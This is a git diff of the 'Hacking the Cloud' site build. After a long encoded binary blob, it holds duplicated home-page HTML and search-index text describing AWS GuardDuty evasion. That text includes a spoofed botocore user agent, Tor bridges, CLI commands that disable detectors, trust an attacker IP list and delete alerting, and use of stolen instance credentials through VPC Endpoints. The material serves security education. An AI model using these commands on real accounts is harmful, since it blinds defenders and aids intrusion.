z4H_5By(*v*n7K!7;v+PpdCwoJwVAsSWBkkg+ModTk&lPtD67n&(p2TqZ}1SH=$H1* z!c)?kYWPcQ8?M?2xm+zxHF8ukin@Vd&N&sJMUA-d2M*PH{t@kbw-4QK0YMk6medx# zv3%6ew6D@|R!^MVrlg{qnN5RrFq4aEM^l|f1-}~Ec*nW_;9pPFs>o0;SB*YmVoN( zDk42>n>po<2g$iS<=vPvci&|1TKKH;?5>%y%FT*;vMXZ5wAcmEUOPSZ;x?x$^if{u z=DSTu#Sb6(y=Rn+yLo3KCQySP*`LK*R7nPPck?Sa8C9$7W5)YZN!ps~h%*XZ5^yk# zXdRj`8v)@xX>2er9&&u7i_+Qsl8hmH8PBQ-R1^fU!_xPJ}Rc3vzW-g+{! z^cZlsPg~#WbBHV5)ccP_rujS5GJp$3S>$f<_Xl?*Tp~NBkk~n4C@F=Y!U!d_Iglk^ z>(KfJukg)$+H|+SwQrdR>bq8inr@(KNNvt1rL10&-KKU28K^eK%wqpfubMeEhE`ee zU{~S+w7Uu^ck7rPAQZwRIHq-bm%rgq7z~o zUg67D#@5$aon@zWBnY`LVBz&x#&tuFQ7T8Nc56o;v%-yVZ& z#r*L_A`yPifJ=Wh+?f3FdFmFy$W9Qo``2G0gF4Tjyc{o&P&2Bu%9V{!3#Tj<&CIe*~|abCJ%U# zI$nK^wNIZ8*%Ny6*P(Ncdz_;Fp~zpa__*7eYy6Pt|L8#K8P@@&A{=W42$(@kg5;dy zxzc&7fc#TlajMcTw)>>n!G}O;jMYd%|7Cn(D>d{FUi}OsRh=eTziWn! zy{ddk(rLsiwzm5P#D;Q5gjMpXiC20Ij04;6D9&~h{ULF2`%SY~6wu)Z z|3tlrr+u7@|8pb<#}`iADcZ;mMQ?ZG^G!o{eA*3Rq?B+e%E9?g*U#)F;?@icBCs!q zpPv%yX|wBN!bVjCyw7#Mu}u?T(_EbclrvugWJ zRlyRvj@KMnFxOu|A=gdRmlGB}v!PYAqoG$RsGRkS(T#aBFBVH$gL4;UH{Yyqots98 zdR=HTeFiLk(SFR;>>O1kpU7dd6S&_|KJhUyue)X7_htS!wR>WWe(cfM@_zbNQLaNZD;Ww#UV)`mJ{e|M&=vkbuRt7+xknbW3ISMtcb5;Ds%7q z-jxgSLJlNnd_M^OUL9RH-MEehDk8T^JVg(_Kk7wsso?L~W_Xq(;W-Mj3jaEUoL}v zv#K`QnL3+fI?&aDxt_-hNLi*vQ@ha<2`TjZmat#zj>EsJ-YP$=pu`No$8cmrA89RV zXIF)w-2ne7aGhEJ8c@qd1qr0{g+wyJ?p1LPK=b#PJ^qx01~s;mi1xADC0u{gQo?-% zdLhfL;+rBZaWtjOSRYp_i+39}6360WPEHlxx}k$zH)oWre-woh^X- z3q&bF%;vjUzyl5*-F`Bun4#*wR6F zmUa}Vb6UXD>h~KaZXk;kRR-Xtm=T*K1`SaJB3#=kxNIjt+6qs)KOkr08__7 z$AMKa!h!kx${^48Zt>YV>v4-cwm_RgIg;l;vM0dhhQHtiIa>glEoL z%2>(7SE!}N&<+0bH@Lm*+uhrQ5eRx5wcjUv>ei1s-%VkBluu>BMeo+c>_-L8LVT_z zJ0HE{7aO#(*k9b6vkhY`;5XRqAB=2WJ`o~(fQ@+nvu{_l@)9QR6g2?P!RHkEoIyD} zM&iXmy}KvsfW;hicM!dB92$>Sw8C53H;nWek_kN6{-m6{-KE1oPjiVmGvOv}*ae!7gW4f13GdGwwN@DxNG+l8_4+Fo>;deL-^+i{Yx)s;f){aNe@!mg!{` zIFo^rv|aV4%`36bTa-quLx=-X%u=d&(t$PI6yXS`pOKOSejnE69=y49I@A@qL{=So z-nZPO()ao>Lm_CuJEHd4E43k0$4L8}`lkZk&(uAlT=+4Bofhc46fxAW!e{ZG?YI^g zrGA(!?QI#q+MiG*S|wN&8V95gvL~-{Vb|NXgxmf7+Y28+F~wAC*AGs$=#qs zmg82C353}#JwA!Z^UC51-4Sj)cY9vU3@~!}t8J6u#Kb5LyZI32+vv z!l615q;xAK35%-l1}{-mGnN{S-oq%@k!NlD(9?IGA!lBFSpn|iqwmap)}DM$dHz|P zhmkMv3*eWN#w5Le+zIGdx-`Mo@`Ua8#?cvPmQZM$)bQfj4F?ZF)M*?OtZ@_ZqhL|o z5}hQu?cOGM<4nfhuX8&U2#0T!uQXNHNZ}K*lxV6s$w=Qg!_5AGrr{ntAB#vq|hf{GDD4r z6F43I{1#_!i+YRZ0DaSzPdhSAKDPfWxP%^;$;t)WGBy#aV-XHyy!L8R-0%M=G4rC` z7-m-c3XI=} zWAFR(L?Lw=#)LCS??Lhf9$|l6Q$Jr@0W~Ej_>P!sM=wgbhI8k1x@FDzW~4fC@#5$! zCofLmkAk8adBw9v7QBwEGpDlDeU?YP#fJH+hZQT5pJYCYuN$wVB_!_BxWWw|edxV5&#q zg294HWiw;&SgF!%Lp=A6&qmQTGm>`J#zpu+8R7~#P`JoxXUe^I8#W~_B^fSEB+bBt zQ$U@@QkJTKALC3B%)huXfmWG3B?q!_{~Sh1){26QO{p30S0cIcPL(|95-`yDy_I+t znP7nDl5{|!`$4nvWYaV5vQ|Rfyb4>zl}H@#$x6+-KfCU^>^8I;-jA9h(E4CS=BSCTc%0sE8-y)GO%AWqD85%kB0cac+k?} zDP!4wa?cE24?h~Y{VBWOt3#o<0O{Kr4i2W|eO^j9sFJb^?C;l-aQX2li0zC|5g+rh9gWmjT@RPk+m=XaFA zUs=>N9+aQ_Z{^=9(O^Ui=GkZe&$Qk4C@mjtx066qZ0XTaoHxU?j{4e=EabgPW_BXB zPt(oZvxXGS(l*G>yh%#-SJS+VE&KEyDdbP~#G-*s>v!HoAQaQLwf;?A#ja}bSyL)i z(q^(|ih0S-)oYL4EmH)ng;b5+4f_m zO_-VTz{L6tyR%#*0Xeh~SkI6=)=ztcpz6=Q*FkXuoINDlPZ&=iUvnPGh3o!~(QD6@ ziF_#^IXa#TtS(~lrwHxlm37OsIi}ARc2_ITM#U;T8QutdE#&#_xrMc>Bt{1=#j8UZ z>kN|T{)qeosW2-+|bdkDgQr{i~suGmy7)9?P4$GnQPe+SaM=j!WvWZmg(-*A?!q+KTZ zl0Q7P z>LMY2vP=o!`+9D$(sTJ`htR-nfj;HndDn%p&We1&hi&QGI#VV8My{rog4(^{a-c53 zA`&<0hQijHoy8n4&^=uE4tl!l@NV)3NjhcnfcEPEVvG6C7=`M%zgXS%_{*kkmrk@mjD60QJxBWj>FQg4P~% zcQTyc`wTPcGIDK{z1fD51w~!PPUJ4E8#8SN!WBGcic39x5EzLS{G|j>ZUI;uS3#v} zv;v;)Cv@C8K|amn`^o(>XGP{o@0+y;`)euNORf)8Oe^N`LAfs3L2_u`V`z8X>Wi%v zy*xS;Vw}^99GSWhTg{*H3+@jW*;cDkJIvO9Z(UMG_u*B6OzVfN(nhg2k4yK7QtM+u z&S!Ay>e_R}s?!owr`lAY&*bb<_LfNYiL;G1Mu)WzxN{&phcFt1EB2tsAKHJKogt3J zMm9rn2}}PBNw!az6z@75mPjIP5i>5Xf>R>dTWQ*l-JMC=X@vD!ml}#?Mh9`FR z9ndz`b_U+OgtUQH@~WLg_)}YJyTad8n2eAPC#*ZJd;Lis2pa`@_GQI)V!ECMXKZvQ zW_@Iqh=2`k1VNz-Spm!l$|?*RxVb=gTgRlJjS>$2GY+{q948c(dwyAPJF z&eyzV@)7O7>oQL=6dp|3=877pax&5Pn%AXVMZ3ope>sV*c`T`T{bsQ3z+8|*?z?Ym ze!2JE!4s?##;@g%Iswdmw(_6*?FQ9g8p0)EQ#yF(j+#sfz&1Bx?wpFi4~>6CN*I<_ z6*-*;P@kH_F}mxk8oaB6{6{y3e6mK1RC8Xb;bgzY8QIu>Y>2+}PSN!b{)Pa1!TL+j zf`l>7dEMD@u{X|3lOdXDt|bS>{`j)wl*$cad%^J7-SxeYOITrlU$r9NRtCC-+F{__ z;m3W4?pCkXTjyVv&IkvN!E9KZ@9i)*bnE|E#8q;(mXc3mTfGf;xd4exHz%W(`SH1sl>$B0{l3#A(Cd z#b)5?1N<|LfDAeNC&Ila1XcFZh$Z&;>x#|Y0TKMs>7WQcf9@!y9aN;gsI_la-!)*L%(y`1g|O0E(G>U=iRzAjC( z0CP1IgATXnA{tD41Ffj2P8i+ZSPpQsa>9aw?U;olAbSm{oA2RO|8-XQKWfGQJ55Ly zG6u9B@`Sa3&K`EDBB)(mA&9eN;D8P*_-KRA6Q%{7V%Sx3ggnuZ*%s$_k!W{&1t?ooG11e3-1F5rJl2i+7xCJ4a&>emO6B z!EzU>9&T3lyyLrr>>Dn5`Fq>}R2?@1{L+Igkp5U9(gvcdTbPFKAt3oOy*IEN0#zDj zWqgIoFg?>djlxbd-qWIce)~PE`$5C_Bd#o=e0pBl-GL$nbJ^Bx1)F4d(sP)d03+Q} z^2TO*AX z3%7RUgIc+-Ry^uypqi40X}j|SSmCozNB1yjwXdz8K(Bb)B?|z{)9uEv-+k08YTr(+ z0i=hSmd;fo?jaolnZrtMRU*H;2T)`&=shofD_=AId4A zaT#yWdn+s&e{|?>p(#eymbHS8`#C)_UtsIYQ`W0561vkXyoedldKMvfZ*;zj#L;(l zgGpU_9QQ8gMNPwFsd3SRc;u;0Q55l^{__hp9Q8aatc5%JBSl9)(`;8gPmRBE@WTU+ z3;FM&n6z5@yoAQs7$q{oDlZ;KAId2g)Sk4H{rqp!%IVj*gVQCx_QOIHiEF0*y7VGvsYVhhZ?!3Go#csz%*;+j=?>l`mc1+I%65-ysje6N^Gb8c1jqi2eS)*{zcAD?E}T^!uyeQIl`3bZ z>ZX#Bh#tT(I?50z;K0VH+HSivE+)?i{>5<-G&ccgSB&AoHro08Ot$iWuR8y|tKk8{ zQ_|xW8((^WHD3srilq-^5Cpon# z>@9S=iq;>lWi1U|(?AZf^DUEVQYbpgr4-v!09{#LqibaPl+}M_ATlj`(iWM)M zw3kg*nQ-#Gu5?K6yOj+%LRLoz3Kv(eVGdZQ(?b6kTkhZYw`%Y|Mt{s`Wqd5ce&6Hq zw|2qpeZRIDHKYgM?`wTZvm5}OpV{>Dd4YL(dpDEmpd)UkdL|>|8whJd4xl1k zx|)K`L9W+&h0JE_pkwX@IxONpV@2>_uJgB2_#>Kxi*c*ut7Zas!pWw-!N<($X!-Z+|a#|M1@FV9dbh;>QZ}5P2FRK2@darqtY7_pzLN8t79DlO2U%k zcd7A(<}c-#kAJZ`{|KzDJpBbx5QaSsdUSgVSL!zIedhE=di+b)K_ZI9^+5URCcDCDChbMl zitiU_`5G^Kj@>)_m1|Z)7nWBm|17!XPr!6WnF2W_9<~jsi;3VAR$jIbI<09v{yr2J ztXGlSXOSYK2w3|&=UzmQ9Ro;b;Hg+e_!!gNB5bGSv5xN1Nx=AsJ;?d`xBKIdM}0p? zm|BSE&gg>fuS*OpBmpmvCk@13L)Ou4YyN{GVfR0%7qi=73k6;a$&W5kGm8ZC3(VRT z@`OjIiQmP?=We+?54-!-JtO@=zsFA~2Y30o+EXwR zb3IL;1nbv$g-h8vZ=UehWj*elo9?&GQ-nLPrf;vugQB9~^dy$Kbp(TyuDhnL*}+(7 z7AWNWC9fw_7g45QA>40Sx8V~fiQ?^4u_b2PJndc29wrVcIEHRIK%|eCIro8pB8ZQU zcdNd#`f~D&e4m2Wm4WRbqaonf*W9Lt)7I?Opkd(^K`UjJ~9VAD05HUwRLGYs*2BR=nIU3FzRWXk)dhp5yZOfr9Ss+jtP zZ*jsb=nGIK#2fs%jd3QQ{@I(hDqUP1Z`OCgRrFO$s)z(w5jLui5Tkuhx^ur&5!bHQ z%;Ns8pj4$LgFiqPlu)e(%to*qYu6$dL}WI%#Ejd^qd*ePX0+l+7Rf^Be|t{*D%9W?b1vpXZ(c zs$q{s!&3iE_vJkKBs;F1{N>}?{5!W4v$F`=ps?CmxZfw$?4WP?im0nnz#f_XQ3wmw z^+*Gx8zO#NZ0L!<@C*!-vSPke*~!1{5&htS`lk#k@<-iVR7HIwatrSL#N;MbgSY-< zbsp)Y=9N@fy$Sy|quxQN>L0%@;8#SfKmKSWlY!_^)Ozcn*8Mpah$Ys4u?ZaED;?u3_4{PSdN5^-TRrWE zcqX^CrH7|P{_6~#Gl~;M4xXAG57CFXlcleF;U8p|BXF+*kDW>-S z2^$FH_wKi?{mSH=sIAlCe%GCUWj&tv0)12(HkO0*=|(p9e}m3Cs6{nro3KWvUrrsSW+p}ym{^u5QwYS;lS$gx_C%a!O?qgG9 zBgY8mJaE5UvcxYh^DE1{qIa>C*nhstt>nJ0c5buOJOU1P+}JQnORHM$ z_UB5A150W+AD`^#S<0v3cHx{yHVxS|;8!$0ilae{^c?3H9Vz}jCOg0$oTQIv7o-@a z{SMn`Q;lpdR=d@^{_A#M%=<5dZS^khy@LkaJzY0tvwv&ajV3$b&#TFhDVlCK?CI%q zHcgx=;Zo8Umv-qo?__ree!K(a;?nhH9|cw=;B&bm+~7MqzzLhJPJ9h}cC7U3eecod zo}7tgB0UV-o^<|i(78@WYx4Txx$RYb`)}SvMoJ+)ILonLKb2emhDP;+LzW+T?zp^L z>VE^GX!?n&ExhbvcGNAG+k8GRYaD&;?;s!hmi@E%C=Wi8`oVjW^S^w6tLp$~2_KpL zVEkM1f!9Cyw?4MM{%OB^3Ay{XY~oWwIuHErCSi_*3NIl-2_Y9BbQ+~zix+`Bo zb%3*ko$cUt{DP_=I@To>1|bmEYr z6nms^esHHZf47542Sye<^YXVLz;dnh5ze-fHwLo7hdkJiO683Pw7`sWKKxB47-dC! zi-Z01Ofo-l;Fx-I0;?O20;Drom;2=d!;OgvDsmKeAcnM-v8v<{YIDZEDtgG`hqBsl z_)A##D+PARC1ugdkfDv>NpH3ux0qu7MqlT(Jou5Sk>TsWhIAe_N$kii8!^tqmgNJd z)M#Y}aQvtJ4G?6{CsOHaAK)zs5r4+mvz+0 zlgAc7zgQ-CD9dJiuooLMBFXiVWCDTxU%^ql{S$FUi<%ER_9qv7}UIT0c zZQH&Oy3;~<0IdLKVHx` z6c8tMq7Y6hCmJlNmk)AgyK~Oyo_BICXh==3G>*}ca3p`*@U_vdEt}TnYkqaDpZS+J zUM(wh>3&v;Uq0zCj2FXRnCTAr*E=xvMxDJ)v)G`rqvLZ)oH%fidp!B}@_OtS>A$e# zuj$?;y(0vsLBN_h@_MNtP&?oU2DN2UGb{9kc??jr6EysHD{ z0^7PpVjo?Dl;hW8ye(+?@Lwr?t}FBYx?G%?y}~ocv2=}z_j>)=NlcBLi-r4UxwSM+ zn|+_yLo;ojZ4qx}I31(haAtFkc*pLx)K!<6&Rzi!7X$&X*s<08{W+}6CwzWh{a&9jBE&&VjV%_F|B z{>@Gu$7Q`q9*-N&m;0A-t`k2Jf5Yq-_QOMe;I+8!$Bx8buuRIU6~{4@w*JOn^)p=M zfYibpuOS5(lr#=8rJxp+p_as;fP4`4RRiMJe_& z7k#g?;ZleE{VS--!z(7Ln0mWU9E}L765Kh>KY>+49nAd-_SjK;U8%3H_oLNV>&UzX zcYpMwAoW&XP4?W)|A4UNoDvCJwh*=3R~ zWYZ-W*gLNoI)>QtMrp;CORUcl$W_XwFb(lzAPX49h~swVAzsq`k+U6Shv)W@O@7(& zA+dXW){k&=>;txbJoseT@?+1EB-wr?RxZzHxc8>n0v8>7NS&uvXGrpfvro-sP`X=P5K2PL7Ly0w(1ZO1eQ61>WGqrsrmPT+*f?F}{6KVthl+?UD4?|Ml z2^mZEcBbNj8|9k@Giumk0$@$6dCeZ^nQpg6x4 z6C;B0HMa_pMoF&f`mN|~4gI(ABV5Dr^)TJ|IBL}uK@

Home

Hacking the Cloud logo

Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.

All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a Pull Request. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.

Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. Defensive knowledge is also welcome! At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.

Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.

Contributing

If you'd like to contribute to the site, please see our contributing page. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.

Please checkout the GitHub page for more!

Disclaimer

The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.

Home

Hacking the Cloud logo

Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.

All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a Pull Request. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.

Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. Defensive knowledge is also welcome! At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.

Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.

Contributing

If you'd like to contribute to the site, please see our contributing page. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.

Please checkout the GitHub page for more!

Disclaimer

The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.

\ No newline at end of file diff --git a/search/search_index.json b/search/search_index.json index 756adbe7c..018cd44c0 100644 --- a/search/search_index.json +++ b/search/search_index.json @@ -1 +1 @@ -{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"],"fields":{"title":{"boost":1000.0},"text":{"boost":1.0},"tags":{"boost":1000000.0}}},"docs":[{"location":"","title":"Home","text":"

Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.

All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a Pull Request. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.

Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. Defensive knowledge is also welcome! At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.

Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.

"},{"location":"#contributing","title":"Contributing","text":"

If you'd like to contribute to the site, please see our contributing page. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.

Please checkout the GitHub page for more!

"},{"location":"#disclaimer","title":"Disclaimer","text":"

The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.

"},{"location":"aws/avoiding-detection/guardduty-pentest/","title":"Bypass GuardDuty Pentest Findings","text":"

When making AWS API requests on common penetration testing OS's GuardDuty will detect this and trigger a PenTest Finding.

This is caused by the user agent name that is passed in the API request. By modifying that we can prevent GuardDuty from detecting that we are operating from a \"pentest\" Linux distribution.

Warning

If your assessment requires you to remain undetected it's probably easier to leverage a \"safe\" OS like Ubuntu, Mac OS, or Windows.

To do this, identify the location of your session.py in the botocore package. For example, on a default Kali Linux install it can be found at /usr/lib/python3/dist-packages/awscli/botocore/session.py.

On line 456 (at the time of writing), you should see the following.

        if truncate:\n            return '%s/%s' % (self.user_agent_name, self.user_agent_version)\n        base = '%s/%s Python/%s %s/%s' % (self.user_agent_name,\n                                          self.user_agent_version,\n                                          platform.python_version(),\n                                          platform.system(),\n                                          platform.release())\n        if os.environ.get('AWS_EXECUTION_ENV') is not None:\n            base += ' exec-env/%s' % os.environ.get('AWS_EXECUTION_ENV')\n        if self.user_agent_extra:\n            base += ' %s' % self.user_agent_extra\n\n        return base\n

To get around this, modify the code and replace it with legitimate user agent strings like those found in Pacu. With this capability you can mask your user agent to look like anything you want. Even arbitrary values like below.

        if truncate:\n           return '%s/%s' % (self.user_agent_name, self.user_agent_version)\n        base = '%s/%s Python/%s %s/%s' % (self.user_agent_name,\n                                          self.user_agent_version,\n                                          platform.python_version(),\n                                          platform.system(),\n                                          platform.release())\n        if os.environ.get('AWS_EXECUTION_ENV') is not None:\n            base += ' exec-env/%s' % os.environ.get('AWS_EXECUTION_ENV')\n        if self.user_agent_extra:\n            base += ' %s' % self.user_agent_extra\n        # Use any user-agent you wish for detection avoidance.\n        base = \"Boto3/1.9.106 Python/3.6.7 Linux/4.15.0-48-generic Botocore/1.12.156\"\n\n        return base\n

platform.system() and platform.release() are similar to uname -o and uname -r. On a stock Kali install it will generate the following values.

"},{"location":"aws/avoiding-detection/guardduty-pentest/#validation","title":"Validation","text":"

Base Kali user-agent output example:

$ aws --version\naws-cli/2.12.0 Python/3.11.5 Linux/4.4.0-22621/x86_64.kali.2023 prompt/off\n

Modified user-agent output example:

$ aws --version\nBoto3/1.9.106 Python/3.6.7 Linux/4.15.0-48-generic Botocore/1.12.156\n

"},{"location":"aws/avoiding-detection/guardduty-tor-client/","title":"Bypass GuardDuty Tor Client Findings","text":"

UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, \"this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity\".

AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.

From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.

To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is apt install tor obfs4proxy and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address.

From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):

UseBridges 1\nBridge obfs4 *ip address*:*port* *fingerprint* cert=*cert string* iat-mode=0\nClientTransportPlugin obfs4 exec /bin/obfs4proxy\n

You will now be able to connect to the Tor network with tor -f torrc and you can connect to the Socks5 proxy on port 9050 (by default).

"},{"location":"aws/avoiding-detection/modify-guardduty-config/","title":"Modify GuardDuty Configuration","text":"

When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies.

Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.

"},{"location":"aws/avoiding-detection/modify-guardduty-config/#misconfiguring-the-detector","title":"Misconfiguring the Detector","text":"

An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.

  • Required IAM Permissions

    • guardduty:ListDetectors
    • guardduty:UpdateDetector

Configuration changes may include a combination of:

  • Disabling the detector altogether.
  • Removing Kubernetes and s3 as data sources, which removes all S3 Protection and Kubernetes alerts.
  • Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.

Example CLI commands

# Disabling the detector\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --no-enable \n\n# Removing s3 as a log source\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --data-sources S3Logs={Enable=false}\n\n# Increase finding update time to 6 hours\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --finding-publishing-frequency SIX_HOURS\n

"},{"location":"aws/avoiding-detection/modify-guardduty-config/#modifying-trusted-ip-lists","title":"Modifying Trusted IP Lists","text":"

An attacker could create or update GuardDuty's Trusted IP list, including their own IP on the list. Any IPs in a trusted IP list will not have any Cloudtrail or VPC flow log alerts raised against them.

DNS findings are exempt from the Trusted IP list.

  • Required IAM Permissions

    • guardduty:ListDetectors
    • guardduty:ListIPSets
    • guardduty:CreateIPSet
    • guardduty:UpdateIPSet
    • iam:PutRolePolicy

Depending on the level of stealth required, the file can be uploaded to an s3 bucket in the target account, or an account controlled by the attacker.

Example CLI commands

aws guardduty update-ip-set \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --ip-set-id 24adjigdk34290840348exampleiplist \\\n    --location https://malicious-bucket.s3-us-east-1.amazonaws.com/customiplist.csv \\\n    --activate\n

"},{"location":"aws/avoiding-detection/modify-guardduty-config/#modify-cloudwatch-events-rule","title":"Modify Cloudwatch events rule","text":"

GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and trigger auto-remediation of findings, especially where the remediation is triggered in a member account as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account.

  • Required IAM Permissions

    • events:ListRules
    • events:ListTargetsByRule
    • events:PutRule
    • events:RemoveTargets

Note

In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account.

Example CLI commands

# Disable GuardDuty Cloudwatch Event\naws events put-rule --name guardduty-event \\\n--event-pattern \"{\\\"source\\\":[\\\"aws.guardduty\\\"]}\" \\\n--state DISABLED\n\n# Modify Event Pattern\naws events put-rule --name guardduty-event \\\n--event-pattern '{\"source\": [\"aws.somethingthatdoesntexist\"]}'\n\n# Remove Event Targets\naws events remove-targets --name guardduty-event \\\n--ids \"GuardDutyTarget\"\n

"},{"location":"aws/avoiding-detection/modify-guardduty-config/#supression-rules","title":"Supression Rules","text":"

Newly create GuardDuty findings can be automatically archived via Suppression Rules. An adversary could use filters to automatically archive findings they are likely to generate.

  • Required IAM Permissions

    • guardduty:CreateFilter

Example CLI commands

aws  guardduty create-filter --action ARCHIVE --detector-id 12abc34d567e8fa901bc2d34e56789f0 --name yourfiltername --finding-criteria file://criteria.json\n

Filters can be created using the CreateFilter API.

"},{"location":"aws/avoiding-detection/modify-guardduty-config/#delete-publishing-destination","title":"Delete Publishing Destination","text":"

An adversary could disable alerting simply by deleting the destination of alerts.

  • Required IAM Permissions

    • guardduty:DeletePublishingDestination

Example CLI commands

aws guardduty delete-publishing-destination --detector-id abc123 --destination-id def456\n
"},{"location":"aws/avoiding-detection/steal-keys-undetected/","title":"Bypass Credential Exfiltration Detection","text":"
  • Tools mentioned in this article

    SneakyEndpoints: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints

A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.

To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.

On January 20th 2022, AWS released a new GuardDuty finding called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.

However, there is currently a functioning bypass for this - VPC Endpoints. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding.

Note

There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.

"},{"location":"aws/avoiding-detection/steal-keys-undetected/#sneakyendpoints","title":"SneakyEndpoints","text":"

To make this setup faster/easier for Penetration Testers and Red Teamers, SneakyEndpoints was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.

"},{"location":"aws/avoiding-detection/steal-keys-undetected/#setup-and-usage","title":"Setup and Usage","text":"

To use SneakyEndpoints first install Terraform and set AWS credentials within your shell session.

Next, perform the following Terraform commands:

terraform init\nterraform apply\n

Before continuing Terraform will ask you to confirm the deployment. After that, way ~10 minutes for everything to be done. Please note that after the deployment is finished it may take a short period of time for the EC2 instance to be connectable.

After this period of time, connect to the EC2 instance using the AWS Systems Manager Session Manager.

To teardown the infrastructure, run the following command:

terraform destroy\n
"},{"location":"aws/avoiding-detection/steal-keys-undetected/#using-sts","title":"Using STS","text":"

Due to a quirk in how STS is setup, you will have to set a specific environment variable with the following command.

